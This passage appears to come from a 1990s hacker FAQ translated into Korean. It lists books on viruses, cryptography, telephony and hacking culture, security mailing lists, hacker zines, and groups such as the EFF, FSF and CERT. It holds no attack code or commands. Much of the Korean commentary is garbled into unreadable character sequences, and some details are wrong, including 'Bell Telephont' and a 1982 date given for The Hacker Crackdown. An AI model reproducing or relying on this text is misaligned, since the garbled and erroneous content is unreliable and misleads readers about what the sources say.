Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-05318-X
N PGP: Pretty Good Privacy
Author: Simson Garfinkel
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-098-8
Programmed Threats
~~~~~~~~~~~~~~~~~~
The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0
N The Giant Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1995
ISBN:
Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1
Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other
Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X
The Virus Creation Labs: A Journey Into the Underground
Author: George Smith
Publisher: American Eagle Publications
Copyright Date: 1994
ISBN: 0-929408-09-8
U A Short Course on Computer Viruses
Author: Dr. Fred Cohen
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-00769-2
N Robert Slade's Guide to Computer Viruses
Author: Robert Slade
Publisher: Springer-Verlag
Copyright Date: 1994
ISBN: 0-387-94311-0 / 3-540-94311-0
Telephony
~~~~~~~~~
Engineering and Operations in the Bell System
Author: R.F. Rey
Publisher: Bell Telephont Laboratories
Copyright Date: 1983
ISBN: 0-932764-04-5
¾ÆÁÖ ¿À·¡µÈ Ã¥ÀÌÁö¸¸, ÀÌ Ã¥Àº ¾ÆÁ÷µµ telephony¿¡ ´ëÇÑ ±ÇÀ§¼ÀÌ´Ù.
ÀÌ Ã¥Àº 100% Bell¿¡ °üÇÑ °ÍÀÌ´Ù. ±×¸®°í Àü¼¼°è phreaker¿¡°Ô »ç¶û¹Þ´Â´Ù.
Telephony: Today and Tomorrow
Author: Dimitris N. Chorafas
Publisher: Prentice-Hall
Copyright Date: 1984
ISBN: 0-13-902700-9
The Telecommunications Fact Book and Illustrated Dictionary
Author: Ahmed S. Khan
Publisher: Delmar Publishers, Inc.
Copyright Date: 1992
ISBN: 0-8273-4615-8
ÀÌ »çÀüÀº telephony¿¡ °üÇؼ ¶Ù¾î³ °ÍÀÌ´Ù.
±×¸®°í ÀÌ ºÐ¾ßÀÇ ±íÀº °ü½ÉÀÌ ÀÖ´Â »ç¶÷¿¡°Ô ±ÇÇÏ°í ½Í´Ù.
Tandy/Radio Shack Cellular Hardware
Author: Judas Gerard and Damien Thorn
Publisher: Phoenix Rising Communications
Copyright Date: 1994
ISBN:
The Phone Book
Author: Carl Oppendahl
Publisher: Consumer Reports
Copyright Date:
ISBN: 0-89043-364-x
Listing of every cellular ID in the us, plus roaming ports,
and info numbers for each carrier.
Principles of Caller I.D.
Author:
Publisher: International MicroPower Corp.
Copyright Date:
ISBN:
Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Hacker Crackdown: Law and Disorder on the Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X
Bruce SterlingÀÌ ÃÖ±Ù ÀÌ Ã¥À» ³×Æ®¿öÅ©¿¡ ¹«·á·Î ¹èÆ÷Çß´Ù.
ÀÌ Ã¥Àº ÀμâµÈ ÇüÅ·ΠÀбⰡ ´õ ½±°í, ÆÛÀÌÆÛ¹éÀÌ °Ü¿ì $5.99ÀÌ´Ù.
¾î¶»°Ô Àеç Àоú´Ù´Â °Í¿¡ ´ëÇØ ¸¸Á·ÇÒ °ÍÀÌ´Ù.
Sterling¾¾´Â ¶Ù¾î³ °ø»ó°úÇмҼ³ ÀÛ°¡À̸ç,
ÇØÅ· ¹®È¿¡¼ »ç¿ëÇÏ´Â ´Ü¾î¿¡ Àç´ÉÀ» º¸¿´´Ù.
¸Å¿ì Áñ°Å¿î µ¶¼ °æÇèÀÌ´Ù.
Cyberpunk
Author: Katie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X
The Cuckoo's Egg
Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9
Hackers: Heroes of the Computer Revolution
Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6
Unclassified
~~~~~~~~~~~~
The Hacker's Handbook
Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4
Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5
The Knightmare´Â ¼öÆÛ ÇØÄ¿°¡ ¾Æ´Ï´Ù. ÀÌ Ã¥¿¡´Â Å©°Ô µµ¿òÀÌ µÉ ³»¿ëÀÌ ¾ø´Ù.
he Knightmare´Â ¾²·¹±â ¹ö¸®·¯ °¥ ¶§´Â ¿ÊÀ» Â÷·ÁÀÔÀ» ÇÊ¿ä°¡ ¾ø´Ù´Â À¯¿ëÇÑ Ãæ°í¸¦ ÇÏ°í ÀÖ´Ù. The KnightmareÀÇ °¡Àå ¶Ù¾î³ ÇØÅ·Àº Loompanics¿¡¼ ÀÌÃ¥À» ÃâÆÇÇϵµ·Ï ÇÑ °ÍÀÌ´Ù.
The Day The Phones Stopped
Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6
¿ÏÀü ¾²·¹±âÀÌ´Ù. ¹ÌÄ¡±¤ÀÌÀÇ Á¤½Å¹ßÀÛÀÌ´Ù.
Enquirer ÀâÁöÀÇ µ¥ÀÌÅͺ¸´Ù ´õ ºñ»ç½ÇÀûÀÌ´Ù.
Information Warfare
Author: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1
ÀüÀÚ Á¤º¸ÀüÀÇ ±â¼ú°ú Àåºñ¿¡ ´ëÇÑ Àß ¼³¸íµÈ Çؼ³¼
Author: Doug Richardson
Publisher: Salamander Press
Copyright Date:
ISBN: 0-668-06497-8
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ºñµð¿À´Â ¹«¾ùÀΰ¡?
'Unauthorized Access' by Annaliza Savage
$25 on VH S format in 38-min
Savage Productions
1803 Mission St., #406
Santa Cruz, CA 95060
Hacker's '95 - a Phon-E & R.F. Burns Production
See the video Emmanuel Goldstein thought would have the Feds knocking
at his door. Coverage of Summercon'95 Coverage of Defcon III The big Y
fiasco at Summercon PMF (narc) interviews Emmanuel Goldstein & Eric
BloodAxe. Trip to Area 51 and interview with Psyhospy Coverage of the
Secret Service briefing on Operation Cyber Snare (recent cell busts)
Talks on Crypto, HERF, the Feds, etc. All information is presented
for educational purposes only. Not for sale to government or law
enforcement organizations. Running time aproximately 90 minutes.
$25.00 NTSC VHS
$35.00 PAL/Secam VHS
Custom Video Productions
(908)842-6378
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ¸ÞÀϸµ ¸®½ºÆ®´Â ¹«¾ùÀΰ¡?
Academic Firewalls
Registration Address: Send a message to [email protected]
containing the line "subscribe firewalls user@host"
N The Alert
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containing the line "subscribe alert"
Bugtraq
Reflector Address: [email protected]
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Cert Tools
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Computers and Society
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Coordinated Feasibility Effort to Unravel State Data
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CPSR - Intellectual Property
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N Cypherpunks
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DefCon Announcement List
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DefCon Chat List
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N Discount Long Distance Digest
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Electronic Payment
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IDS (Intruder Detection Systems)
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containing the line "subscribe ids"
N Information Warfare
Registration Address: E-mail [email protected] with a request to be added.
N Linux-Alert
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N Linux-Security
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Macintosh Security
Reflector Address: [email protected]
Registration Address: [email protected]
NeXT Managers
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PGP3 announcement list
Registration Address: [email protected]
Subject: Your Name <user@host>
Body: *ignored*
Phiber-Scream
Registration Address: Send a message to [email protected]
containing the line "subscribe phiber-scream user@host"
phruwt-l (Macintosh H/P)
Registration Address: Send a message to [email protected]
with the subject "phruwt-l"
rfc931-users
Reflector Address: [email protected]
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RSA Users
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WWW Security
Registration Address: [email protected]
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ÃâÆǹ°Àº ¹«¾ùÀΰ¡?
2600 - The Hacker Quarterly
~~~~~~~~~~~~~~~~~~~~~~~~~~~
E-mail addresses: [email protected] - to get info on 2600
[email protected] - to get a copy of our index
[email protected] - for info on starting your own meeting
[email protected] -- for subscription problems
[email protected] -- to send us a letter
[email protected] -- to send us an article
[email protected] -- to send us a general message
Subscription Address: 2600 Subscription Dept
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Letters and article submission address: 2600 Editorial Dept
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Fax Number: (516)474-2677
Voice BBS: (516)473-2626
Subscriptions: United States: $21/yr individual, $50 corporate.
Overseas: $30/yr individual, $65 corporate.
Gray Areas
~~~~~~~~~~
Gray Area´Â ¹ý°ú µµ´ö¼ºÀÇ È¸»ö Àç´ë¸¦ Á¶»çÇÏ°í ³íÀïÀÇ ¼ÒÁö°¡ Àְųª, ºñÀ±¸®Àû ºÒ¹ýÀûÀÎ ÁÖ
Á¦¸¦ ´Ù·é´Ù. Gray Areas´Â ¿Ö ÇØÄ¿°¡ ÇØÅ·À» ÇÏ´ÂÁö Á¶»çÇÏ°í ÀÏÅ»Àû ÇàÀ§ÀÇ »çȸÀû Ʋ·Î¼ ÇØ
Å·À» ±ÔÁ¤ÇÑ´Ù.
E-Mail Address: [email protected]
E-Mail Address: [email protected]
U.S. Mail Address: Gray Areas
PO Box 808
Broomall, PA 19008
Subscriptions: $26.00 4 issues first class
$34.00 4 issues foreign (shipped air mail)
Privacy Newsletter
~~~~~~~~~~~~~~~~~~
Privacy Newsletter ´Â ¿ù°£ ´º½º·¹Æ®·Î µ¶ÀÚµé·Î ÇÏ¿©±Ý ¾î¶»°Ô ÇÁ¶óÀ̹ö½Ã¸¦ ¾ò°í À¯ÁöÇÏ´ÂÁö
¿¡ ´ëÇØ ¾Ë·ÁÁÖ´Â °ÍÀ» ¸ñÀûÀ¸·Î ÇÑ´Ù.
E-Mail Address: [email protected]
Subscription Address: Privacy Newsletter
P.O. Box 8206
Philadelphia, PA 19101-8206
Subscriptions: $99/yr (US) $149/yr (Overseas)
Wired
~~~~~
Subscription Address: [email protected]
or: Wired
PO Box 191826
San Francisco, CA 94119-9866
Letters and article submission address: [email protected]
or: Wired
544 Second Street
San Francisco, CA 94107-1427
Subscriptions: $39/yr (US) $64/yr (Canada/Mexico)
$79/yr (Overseas)
Nuts & Volts
~~~~~~~~~~~~
T& L Publications
430 Princeland Court
Corona, CA 91719
(800)783-4624 (Voice) (Subscription Only Order Line)
(909)371-8497 (Voice)
(909)371-3052 (Fax)
CIS: 74262,3664
Cybertek: The Cyberpunk Technical Journal
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
P.O. Box 64
Brewster, NY 10509
Frequency: Bimonthly
Domestic Subscription Rate: $15/year (6 issues)
PrivateLine
~~~~~~~~~~~
5150 Fair Oaks Blvd. #101-348
Carmichael, CA 95608 USA
E-Mail: [email protected]
Subscriptions: $24 a year for six issues
Text of back issues are at the etext archive at Michigan. Gopher over
or ftp to: etext.archive.umich.edu/pub/Zines/PrivateLine
ÇØÄ¿¿¡°Ô °ü½É°¡´Â e-zine(ÀüÀÚÀâÁö)´Â ¹«¾ùÀΰ¡?
CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo
Empire Times ftp.etext.org /pub/Zines/Emptimes
FEH ftp.fc.net /pub/defcon/FEH
The Infinity Concept infonexus.com
/pub/Philes/Zines/TheInfinityConcept
Phrack ftp.fc.net /pub/phrack
ÇØÄ¿¿¡°Ô °ü½É°¡´Â ±â°üÀº ¹«¾ùÀΰ¡?
Computer Professionals for Social Responsibility (CPSR)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CPSRÀº ÄÄÇ»ÅÍ Àü¹®°¡¿Í ÄÄÇ»ÅÍ »ç¿ëÀÚ°¡ Á¤º¸ ±â¼úÀ»
»ç¿ëÇÏ´Â µ¥ ´ëÇÑ Ã¥ÀÓÀ» ºÎ¿©ÇÏ°í ÄÄÇ»Å͸¦ ÀÌ¿ëÇÏ´Â ¸ðµç »ç¶÷ÀÌ
°ø°ø ³íÀï¿¡ Âü¿©Çϵµ·Ï ÇÑ´Ù. ±â¼úÀûÀÎ Àü¹®°¡·Î¼ CPSR ȸ¿øÀº Àιΰú
Á¤Ã¥ÀÔ¾ÈÀÚ¿¡°Ô ±Ç·Â°ú °ø¾à ±×¸®°í ÄÄÇ»ÅÍ ±â¼úÀÇ Á¦ÇÑ»çÇ× µî¿¡
´ëÇÑ ½ÇÁ¦ÀûÀÎ Æò°¡¸¦ Á¦°øÇÑ´Ù. ÀǽÄÀÖ´Â ½Ã¹ÎÀÇ ±â°üÀ¸·Î¼ CPSRÀº
°ø°øÀÇ °ü½ÉÀ» ÄÄÇ»ÅÍÀÇ ÀÀ¿ë¿¡ ´ëÇÑ ºñÆÇÀûÀÎ ¼±Åðú ±× ¼±ÅÃÀÌ »çȸ¿¡
¹ÌÄ¡´Â ¿µÇâÀ¸·Î µ¹¸°´Ù. ¹®Á¦°¡ ¾ø´Â ±â¼úÀû Á¤º¸¿Í Á¤Ã¥ °³¹ß ³ëÇϿ츦
ºñ±³ÇÏ¿© CPSRÀº ÃÖ¼ÒÇÑÀÇ ºñ¿ëÀ¸·Î ÃÖ´ëÀÇ È¿°ú¿Í ±â¼ú Á¤Ã¥ÀÇ Çü¼º¿¡
´ëÇØ ±¤¹üÀ§ÇÑ °ø°øÀÇ Âü¿©¸¦ ÃËÁøÇÑ´Ù. ¼öÇàÇÏ´Â ÇÁ·ÎÁ§Æ®´Â ´ÙÀ½°ú
°°Àº 5 °¡Áö ¿øÄ¢¿¡ ±âÀÎÇÑ´Ù.
* ±â¼ú¸¸À¸·Î Á¤Ä¡Àû »çȸÀû ¹®Á¦¸¦ ÇØ°áÇÒ ¼ö ÀÖ´Ù´Â °¡Á¤¿¡ µµÀüÇÑ´Ù.
* ºñÆÇÀûÀ¸·Î ÄÄÇ»ÅÍ¿¡¼ÀÇ »çȸ¿Í ±â¼ú ¹®Á¦¸¦ °ËÅäÇÑ´Ù.
* »îÀÇ ÁúÀ» ³ôÀÌ´Â µ¥ ÄÄÇ»ÅÍ ±â¼úÀÇ ÀÌ¿ëÀ» ±ÇÀåÇÑ´Ù.
CPSR Membership Categories
75 REGULAR MEMBER
50 Basic member
200 Supporting member
500 Sponsoring member
1000 Lifetime member
20 Student/low income member
50 Foreign subscriber
50 Library/institutional subscriber
CPSR National Office
P.O. Box 717
Palo Alto, CA 94301
415-322-3778
415-322-3798 (FAX)
E-mail: [email protected]
Electronic Frontier Foundation (EFF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Electronic Frontier Foundation (EFF)Àº ÄÄÇ»ÅÍ ±â¹Ý Åë½ÅÀÇ ÀÚÀ¯¿Í °ø°³¼ºÀÇ ¹ßÀü½Ãų ¼ö
ÀÖ´Â Á¤Ã¥À̳ª È°µ¿À» Ãß±¸ÇÑ´Ù. ȸ¿ø¿¡ ÀÇÇØ ¿î¿µµÇ°í,
ºñ¿µ¸® ´Üü·Î¼ Á¤º¸È ½Ã´ë¿¡¼ »õ»õ·Î¿î °ø°ø ÀÌÀÍ Áý´ÜÀÌ ÇÊ¿äÇÏ´Ù´Â
½Å³ä¿¡¼ ³ª¿Ô´Ù. ÀÌ´Â ÀÌ ±â°ü(Áý´Ü)ÀÌ »õ·Î¿î ÄÄÇ»ÅÍ Åë½Å ±â¼úÀÇ
¹ÎÁÖÀûÀÎ ÀáÀç·ÂÀ» º¸È£ÇÏ°í È®ÀåÇÏ´Â °Í¿¡ ¸ñÀûÀÌ ÀÖ´Ù´Â °ÍÀÌ´Ù.
½ÃÀÛºÎÅÍ, EFF´Â ±â¼úÀû, ¹ý·üÀû °ø°ø Á¤Ã¥ÀÇ Àü¹®¼ºÀ» °áÇÕÇÏ´Â ±â°üÀ̸ç
±×¸®°í ÀÌ·¯ÇÑ ±â¼úÀ» »õ·Î¿î Åë½Å ¸Åü°¡ ź»ýÇÒ ¶§¸¶´Ù ¹ß»ýÇÏ´Â
´Ù¾çÇÑ ¹®Á¦¿Í °ü½É¿¡ Àû¿ëÇÑ´Ù. ȸ¿øºñ´Â ÇлýÀº $20.00/³â À̸ç
Á¤±Ô ȸ¿øÀÇ °æ¿ì $40.00/³â ÀÌ°í ±â°ü ȸ¿øÀº $100.00/³âÀÌ´Ù.
The Electronic Frontier Foundation, Inc.
1001 G Street, NW
Suite 950 East
Washington, D.C. 20001
(202)544 9237
(202)547 5481 FAX
Internet: [email protected]
Free Software Foundation (FSF) and GNU
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Free Software Foundation Àº »ç¶÷µéÀÌ ÄÄÇ»ÅÍ ÇÁ·Î±×·¥À» ÀÌ¿ë, º¹»ç, º¯°æ, Àç¹èÆ÷ÇÏ´Â ±Ç¸®¿¡ ´ëÇÑ Á¦ÇÑÀ» Á¦°ÅÇÏ´Â µ¥ ¸ñÀûÀ» µÐ´Ù. ÄÄÇ»Å͸¦ ÀÌ¿ëÇÏ´Â ¸ðµç ºÐ¾ß¿¡¼ ¹«·á ¼ÒÇÁÆ®¿þ¾îÀÇ »ç¿ë°ú °³¹ßÀ» µ½´Â´Ù. ƯÈ÷, "GNU" ("GNU's Not Unix", "±×´©"¶ó°í ¹ßÀ½)¶ó´Â Unix¿Í À§·Î ȣȯ¼ºÀ» °¡Áö´Â ÀÚü·Î ¿Ïº®ÇÏ°í ÅëÇÕµÈ ¼ÒÇÁÆ®¿þ¾î¸¦ ¸¸µç´Ù. ÀÌ ½Ã½ºÅÛÀÇ ´ëºÎºÐÀº ÀÌ¹Ì »ç¿ëµÇ°í ¹èÆ÷µÇ°í ÀÖ´Ù. "¹«·á"¶ó´Â ´Ü¾î´Â ÀÚÀ¯¸¦ ÀǹÌÇÏÁö °¡°ÝÀÌ °øÂ¥¶ó´Â °ÍÀº ¾Æ´Ï´Ù. GNU ¼ÒÇÁÆ®¿þ¾î¸¦ ¾ò±â À§Çؼ µ·À» ÁöºÒÇϰųª ÁöºÒÇÏÁö ¾ÊÀ» ¼ö ÀÖ´Ù. ±×·¯³ª, ÀÏ´Ü ±×°ÍÀ» ÀÔ¼öÇÏ¸é µÎ°¡Áö ƯÁ¤ ÀÚÀ¯¸¦ °¡Áö°Ô µÈ´Ù. ù°, ÇÁ·Î±×·¥À» º¹»çÇؼ Ä£±¸³ª µ¿·á¿¡°Ô ÁÙ ¼ö ÀÖ´Ù. µÑ°, ¼Ò½º Äڵ忡 ¿ÏÀüÈ÷ Á¢±ÙÀÌ °¡´ÉÇϹǷΠ¼ÒÇÁÆ®¿þ¾î¸¦ ¿øÇϴ´ë·Î º¯°æÇÒ ¼ö ÀÖ´Ù. ¼Ò½º¸¦ ¿¬±¸ÇÏ°í ¾î¶»°Ô ±×·¯ÇÑ ¼ÒÇÁÆ®¿þ¾î¸¦ ÀÛ¼ºÇÏ´ÂÁö¿¡ ´ëÇؼ ¹è¿ï ¼ö ÀÖ´Ù. ÇÁ·Î±×·¥À» Æ÷Æ®ÇÏ°í Çâ»óÇÏ°í º¯°æµÈ °ÍÀ» ´Ù¸¥ »ç¶÷°ú °øÀ¯ÇÒ ¼ö ÀÖ´Ù. GNU ¼ÒÇÁÆ®¿þ¾î¸¦ Àç¹èÆ÷ÇÒ ¶§, ¹èÆ÷¿¡ ´ëÇÑ ºñ¿ëÀ» ¹°¸®°Å³ª ¾Æ´Ï¸é °øÂ¥·Î ÁÙ ¼ö ÀÖ´Ù. ÀÌ ¶§ GPL(GNU General Public License)¿Í ¼Ò½º Äڵ带 Æ÷ÇÔÇØ¾ß ÇÑ´Ù.
Free Software Foundation, Inc. Telephone: +1-617-876-3296
673 Massachusetts Avenue Fax: +1-617-492-9057
Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD)
Electronic mail: [email protected] 0066-3382-0158 (IDC)
GNU´Â »ç¿ëÀÚ°¡ ÄÄÇ»Å͸¦ ÀÌ¿ëÇÏ´Â µ¥ ¿Ïº®ÇÑ ÅëÇÕ ÄÄÇ»ÆÃ
ȯ°æÀ» °®Ãß·ÁÇÑ´Ù. »ç¹«½ÇÀ̳ª °¡Á¤¿¡¼ »ç¿ëÇÏ´Â ÇÁ·Î±×·¡¸ÓÀÌ´ø
¾Æ´Ï¸é ÀÏ¹Ý »ç¿ëÀÚÀ̵簣¿¡. ÇÙ½ÉÀº ¿î¿µÃ¼Á¦·Î ÄÄÇ»ÅÍ¿¡¼ ´Ù¸¥
ÇÁ·Î±×·¥ÀÌ ¼öÇàÇÒ ¼ö ÀÖµµ·Ï ÇÏ´Â Ä¿³ÎÀ̶ó°í ºÒ¸®¿ì´Â Áß¾Ó ÇÁ·Î±×·¥À¸·Î
±¸¼ºµÇ¾î ÀÖ´Ù. ±×¸®°í ÆÄÀÏÀ» ó¸®ÇÒ ¼ö ÀÖ´Â ºÎÂ÷ÀûÀÎ ¸¹Àº ¼öÀÇ
ÇÁ·Î±×·¥µéÀÌ ÀÖ´Ù. Free Software FoundationÀº Hurd¶ó°í ºÒ¸®´Â
Áøº¸µÈ Ä¿³ÎÀ» °³¹ßÇÏ°í ÀÖ´Ù. ¿Ïº®ÇÑ Ã¼°è´Â ÄÄÆÄÀÏ·¯¿Í µð¹ö°Å¿Í
°°Àº ÇÁ·Î±×·¡¸Ó¸¦ À§ÇÑ µµ±¸¸¦ °¡Áø´Ù. ¶ÇÇÑ ÆÝÁý±â, ½ºÄÉÄ¡Æеå,
Ä®·£´õ, °è»ê±â, ½ºÇÁ·¡µå½¬Æ®, µ¥ÀÌÅͺ£À̼, ÀüÀÚ ¿ìÆí ¸®´õ¿Í ÀÎÅͳÝ
³×ºñ°ÔÀÌÆ® µîµµ Æ÷ÇÔÇÑ´Ù. FSF´Â ÀÌ¹Ì ¿î¿µÃ¼Á¦¿¡¼ »ç¿ëµÇ´Â ´ëºÎºÐÀÇ
ÇÁ·Î±×·¥, ÇÁ·Î±×·¡¸ÓµéÀÌ ÀÚÁÖ »ç¿ëÇÏ´Â ¸ðµç µµ±¸¿Í ±× ÀÌ»óÀ» Á¦°øÇÏ°í
ÀÖ´Ù.
The League for Programming Freedom (LPF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
League for Programming FreedomÀº "look and feel" ÀúÀÛ±Ç ÀçÆÇÀ» ÅëÇØ °øÅë À¯Àú ÀÎÅÍÆäÀ̽ºÀ» µ¶Á¡ÇÏ·Á´Â ½Ãµµ¿¡ ´ëÇØ ¹Ý´ëÇÏ´Â »ç¶÷µéÀÇ ±â°üÀÌ´Ù. À̵é Áß ÀϺδ ÇÁ·Î±×·¡¸Ó·Î ÀÚ½ÅÀÇ ÀÛ¾÷À» ¹æÇØÇÒÁöµµ ¸ð¸£´Â µ¶Á¡¿¡ ´ëÇØ °ÆÁ¤ÇÏ°í ÀÖ´Ù. ¶Ç ´Ù¸¥ ÀϺδ ÀڽŵéÀÌ ¾Ë°í ÀÖ´Â ÀÎÅÍÆäÀ̽º¿Í ȣȯÀÌ µÇ´Â »õ·Î¿î ÄÄÇ»ÅÍ ½Ã½ºÅÛÀ» ¿øÇÑ´Ù. ¾î¶² ÀÌ´Â Richard P. Gabriel¿Í °°Àº ÄÄÇ»ÅÍ Çϵå¿þ¾î³ª ¼ÒÇÁÆ®¿þ¾î ȸ»çÀÇ Ã¢½ÃÀÚ³ª John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. Boyer ¿Í Patrick Winston°°Àº ±³¼ö³ª ¿¬±¸ÀÚµéÀÌ´Ù. "Look and feel" ÀçÆÇÀº »õ·Î¿î ÇüÅÂÀÇ °üÁÖµµÀÇ µ¶Á¡À» ÀÌÀü ¾î´À °Íº¸´Ù ±¤¹üÀ§ÇÏ°Ô ¸¸µé¾î ³½´Ù. ÀÌ·¯ÇÑ ÇüÅÂÀÇ »ç¿ëÀÚ ÀÎÅÍÆäÀ̽º ü°è ÀúÀÛ±ÇÀº
lawsuits aim to create a new class of government-
enforced monopolies broader in scope than ever before. Such a system
of user-interface copyright would impose gratuitous incompatibility,
reduce competition, and stifle innovation.
ÀÌ·¯ÇÑ ¹®Á¦¸¦ »ç¿ëÀÚ ÀÎÅÍÆäÀ̽º ÀúÀÛ±ÇÀ» ¸·À½À¸·Î¼ ÇØ°áÇÏ·Á ÇÑ´Ù. 1986³â ±îÁöÀÇ ÀúÀ۱ǹý¿¡ ÀÇÇÑ ÀúÀ۱ǿ¡ ´ëÇؼ ¹Ý´ëÇÏÁö´Â ¾Ê´Â´Ù. -- ƯÁ¤ ÇÁ·Î±×·¥¿¡ ´ëÇÑ ÀúÀÛ±Ç. ¸ñÇ¥´Â ±âÁ¸ÀÇ ÇÁ·Î±×·¥°ú °üÇà¿¡ µû¸¥ ÇÁ·Î±×·¥°ú ȣȯµÇ´Â »õ·Î¿î ÇÁ·Î±×·¥À» ÀÛ¼ºÇÒ ¼ö ÀÖ´Â ÇÁ·Î±×·¡¸ÓµéÀÇ ÀüÅëÀûÀÎ ÀÚÀ¯¸¦ ¹ÚÅ»ÇÏ´Â ÀúÀÛ±Ç Ã¼°èÀÇ º¯È¸¦ ¸·À¸·Á´Â °ÍÀÌ´Ù. Á÷¾÷ÀÌ ÀÖ´Â Àü¹®°¡ÀÇ °æ¿ì $42ÀÇ °³ÀÎ ¿¬È¸¿øºñ°¡ ÀÖÀ¸¸ç ´Ù¸¥ »ç¶÷µéÀº $21ÀÌ´Ù. ¿îµ¿ÀÚ¿¡ ´ëÇØ °¨»çÇÑ´Ù. ±×¸®°í ½Ã°£À» ÅõÀÚÇÒ ¼ö ¾ø´Â ȸ¿øµµ ȯ¿µÇÑ´Ù. ¿¬¶ôÀº ÀüÈ (617) 243-4091, ¶Ç´Â ÀÎÅÍ³Ý ÀüÀÚ¿ìÆí [email protected], ¶Ç´Â ´ÙÀ½ ÁÖ¼Ò·Î ÆíÁö¸¦ ¾²±â ¹Ù¶õ´Ù.
League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA
SotMesc
~~~~~~~
1989¿¡ â¼³µÈ SotMesc´Â ÄÄÇ»ÅÍ »çȸÀÇ ÅëÇÕ°ú °á¼ÓÀ»
À¯ÁöÇÏ´Â µ¥ ¸ñÀûÀ» µÐ´Ù. ÄÄÇ»ÅÍ ±³À°, ÀÚÀ¯ ±×¸®°í È¿À²¼ºÀ» ÃàÁøÇÏ¿©
¸ðµç ÄÄÇ»ÅÍ »ç¿ëÀÚ¿¡°Ô ÇÁ¶óÀ̹ö½Ã¸¦ À¯ÁöÇÏ¸é¼ ÀÚÀ¯¸¦ º¸ÀåÇÒ ¼ö
ÀÖ´Ù°í ¹Ï´Â´Ù. SotMesc´Â CSP ÀÎÅÍ³Ý ¸ÞÀϸµ ¸®½ºÆ®¸¦ ¿î¿µÇÏ°í the
SotMesc Scholarship Fund, and the SotMesc Newsletter¸¦ ¿î¿µÇÏ°í
ÀÖ´Ù. SotMesc´Â ÀϺΠȸ¿øºñ·Î ÀçÁ¤À» Ãæ´çÇÏ°í ±âºÎ±ÝÀ¸·Î Àç¿øÀ»
Ãæ´çÇÏÁö¸¸ ´ëºÎºÐÀº ÇØÅ·, Å©·¡Å·, ÇÁ¸®Å·, ÀüÀÚ°øÇÐ, ÀÎÅͳݰú ¹ÙÀÌ·¯½º
Á¤º¸ ±×¸®°í µð½ºÅ©³»ÀÇ ÇÁ·Î±×·¥°ú ¸¹Àº Àμ⠸Åü¸¦ ÆǸÅÇÔÀ¸·Î¼
Ãæ´çÇÑ´Ù. SotMesc ȸ¿øºñ´Â ÇлýÀº $20ÀÌ°í Á¤±Ô ȸ¿øÀº $40ÀÌ´Ù.
SotMESC
P.O. Box 573
Long Beach, MS 39560
Computer Emergency Response Team (CERT)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CERT ´Â Computer Emergency Response Team À¸·Î Defense Advanced Research Projects
Agency (DARPA)¿¡ ÀÇÇØ 1988³â 12¿ù ÀÎÅÍ³Ý ¿ú»ç°ÇÀ»
°è±â·Î ±× Çʿ伺ÀÌ ´ëµÎµÇ¾î ¼³¸³µÇ¾ú´Ù. CERT ÀÓ¹«´Â ÀÎÅÍ³Ý °øµ¿Ã¼¿Í
ÇÔ²² ÀÏÇÏ¿© ÀÎÅÍ³Ý È£½ºÆ®¿Ï ¿¬°üµÈ ÄÄÇ»ÅÍ º¸¾È »ç°Ç¿¡ ´ëÀÀÇÏ´Â
´É·ÂÀ» ±â¸£´Â °ÍÀ̸ç ÄÄÇ»ÅÍ »çȸ°¡ ÄÄÇ»ÅÍ º¸¾È ¹®Á¦¸¦ ÀνÄÇÏ´Â
µ¥ ÁÖµ¶ÀûÀÎ ³ë·ÂÀ» ±â¿ïÀÌ°í, ÇöÁ¸ÇÏ´Â ½Ã½ºÅÛÀÇ º¸¾ÈÀ» Çâ»óÇÏ´Â
µ¥ ¸ñÀûÀ» µÐ ¿¬±¸¸¦ ¼öÇàÇÏ´Â °Í¿¡ ÀÖ´Ù. CERT Á¦Ç°°ú ¼ºñ½º¿¡´Â
24½Ã°£ ±â¼ú Áö¿øÀÌ ÀÖ¾î ÄÄÇ»ÅÍ º¸¾È »ç°£¿¡ ´ëÀÀÇÏ°í Á¦Ç° Ãë¾à¼º
